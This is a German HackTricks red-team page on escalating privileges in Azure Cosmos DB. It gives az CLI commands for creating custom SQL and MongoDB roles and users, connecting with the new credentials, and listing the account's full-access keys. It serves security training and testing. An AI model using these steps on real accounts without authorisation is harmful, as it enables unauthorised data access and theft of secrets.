Az - CosmosDB Privesc

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

CosmosDB Privesc

Für weitere Informationen zur SQL-Datenbank siehe:

Az - CosmosDB

(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)

Mit diesen Berechtigungen können Sie Privilegien eskalieren, indem Sie einem Benutzer die Berechtigungen zum Ausführen von Abfragen und zum Verbinden mit der Datenbank geben. Zuerst wird eine Rollenbeschreibung erstellt, die die erforderlichen Berechtigungen und Bereiche festlegt.

bash
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'

Nachdem die Zuweisung der Definition an einen Benutzer erfolgt ist, kann dieser Benutzer die Verbindungsmethode DefaultAzureCredential() verwenden, um Abfragen auszuführen.

bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"

(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)

Mit dieser Berechtigung können Sie neue MongoDB-Rollen-Definitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Definition benutzerdefinierter Rollen mit spezifischen Berechtigungen für MongoDB-Benutzer. RBAC-Funktionen müssen aktiviert sein, um dies zu verwenden.

bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'

Sie können neue MongoDB-Benutzerdefinitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung von Benutzern mit spezifischen Rollen und Zugriff auf MongoDB-Datenbanken.

bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'

Nachdem ein neuer Benutzer innerhalb von MongoDB erstellt wurde, können wir darauf zugreifen:

bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"

Microsoft.DocumentDB/databaseAccounts/listKeys/action

Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und dessen Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden.

bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks